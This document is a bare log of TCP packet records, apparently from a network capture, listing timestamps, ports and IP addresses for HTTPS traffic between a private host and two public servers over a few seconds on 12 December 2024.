Dec 12, 2024 16:47:14.599205971 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.599689007 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.600588083 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.600732088 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.600848913 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.600979090 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.656718016 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.831690073 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.833523035 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.833978891 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.834184885 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.913907051 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.916224003 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.917658091 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.917736053 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.917989016 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.918036938 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.918256044 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.918447018 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.918803930 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.918818951 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.919013023 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.923911095 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.923923969 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.923943043 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.923948050 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.936486959 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.936825991 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.937340975 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.937375069 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.937638998 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.937884092 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.938000917 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.938302040 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.938431025 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.938571930 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.938580036 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.938625097 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.938632011 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.938843966 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.938849926 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.939037085 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.941229105 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.941276073 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.941407919 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.941415071 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.941426039 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.941982985 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.944880009 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.944890976 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.945044041 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.945051908 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.945063114 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.945370913 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.948987961 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.949212074 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.949259043 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.949265957 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.949287891 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.949343920 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.949356079 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.949362993 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.949368000 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.987536907 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:15.038008928 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:15.038223982 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:15.233124018 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:15.233288050 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:15.257529020 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.267644882 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.353735924 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.356586933 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.359559059 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.359568119 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.359581947 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.359587908 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.359601021 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.359606981 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.359616041 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.359627962 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.359637976 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.359649897 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.359657049 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.359662056 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.363013029 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:15.363337994 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:15.393695116 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:15.393877029 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:15.394952059 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.394961119 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.394973040 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.394978046 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.394982100 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.395375967 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:15.395525932 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:15.395612001 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:15.548533916 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:15.550015926 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:15.550151110 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:15.550440073 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:15.708148003 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:15.741101027 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:16.921237946 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:16.921605110 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:17.334966898 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:17.337013006 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:17.339030981 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:17.341187000 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:17.706784010 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:17.707076073 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:17.707793951 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:17.714823008 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:17.716064930 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:17.717314959 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:17.718163013 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:17.728734970 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.026608944 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.026961088 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.026971102 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.030128956 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:18.032433033 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:18.032480955 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:18.032516003 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:18.032572031 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:18.032882929 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:18.033214092 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:18.033751011 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:18.034111023 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:18.035366058 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036284924 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036524057 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036536932 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036583900 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036598921 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036621094 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036636114 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036788940 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036802053 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036814928 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036827087 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036843061 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036859035 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036873102 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036885023 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.036897898 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.037935972 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.038126945 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.040465117 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:18.041318893 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:18.064589024 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.064838886 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.065118074 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.065198898 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.065212011 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.065298080 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.065309048 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.065324068 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.065330982 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.065545082 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.065557957 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.065599918 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.066262960 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.078476906 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.078525066 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.078546047 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.078566074 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.078577042 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.078589916 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.078602076 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.078757048 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.078769922 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.078818083 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.079185963 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.091869116 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.091883898 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.091905117 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.091916084 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.091927052 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.091938972 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.091950893 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.091988087 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.092000008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.092012882 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.092438936 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.095424891 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.101254940 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.101281881 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.101314068 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.101325035 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.101336956 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.101347923 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.101360083 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.101495028 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.101545095 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.101556063 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.101567984 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.114517927 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.114531994 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.114546061 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.114753008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.114773035 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.114784956 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.114799023 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.114820004 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.115037918 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.115048885 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.115062952 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.115267038 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.128340960 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.128356934 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.128391981 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.128406048 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.128523111 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.128532887 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.128545046 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.128559113 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.128715992 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.128731012 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.128895044 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.144382000 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.144397974 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.144413948 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.144421101 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.144548893 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.144566059 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.144578934 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.144591093 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.144761086 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.144773960 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.144978046 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.160525084 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.160538912 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.160553932 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.160598993 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.160609961 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.160620928 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.160633087 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.160799980 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.160813093 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.160902977 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.161068916 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.184118986 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.184295893 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.184308052 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.184319973 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.184325933 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.209845066 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.220499992 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.220997095 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.355190039 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:18.355575085 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:18.356043100 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:18.356321096 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:18.356575012 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:18.380188942 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.410630941 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.431760073 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.438365936 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.488372087 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.488493919 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.488506079 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.488712072 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.488806009 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.517365932 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.536242008 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.536253929 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.536613941 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.546200037 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.546221972 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.546236992 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.546508074 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.546675920 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.551011086 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.551027060 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.552304983 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.566450119 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.566628933 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.608833075 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.613017082 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.613236904 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.679572105 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.775811911 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.828118086 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.868657112 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.926457882 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.931022882 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.931066036 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.931206942 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.931219101 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.931232929 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.931242943 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.931252956 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.931369066 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.935503006 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.935596943 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.935648918 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.935661077 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.935673952 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.935786009 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.935826063 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.935834885 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.935842037 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.936350107 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.936908007 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.939196110 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.939524889 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.939620972 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.939636946 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.939672947 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.939805984 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.939819098 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.939846039 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.939877033 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.939892054 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.940013885 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.941092968 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.941833019 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.949089050 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.960357904 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.960390091 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.960402966 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.960515976 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.960530043 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:18.964981079 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:18.994240046 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.002156973 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.002432108 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.002473116 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.002491951 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.002509117 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.002537012 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.002665043 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.002677917 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.002814054 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.002827883 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.002851963 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.002867937 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.003213882 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:19.021975040 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:19.047848940 CET	51057	443	192.168.2.8	23.44.203.13
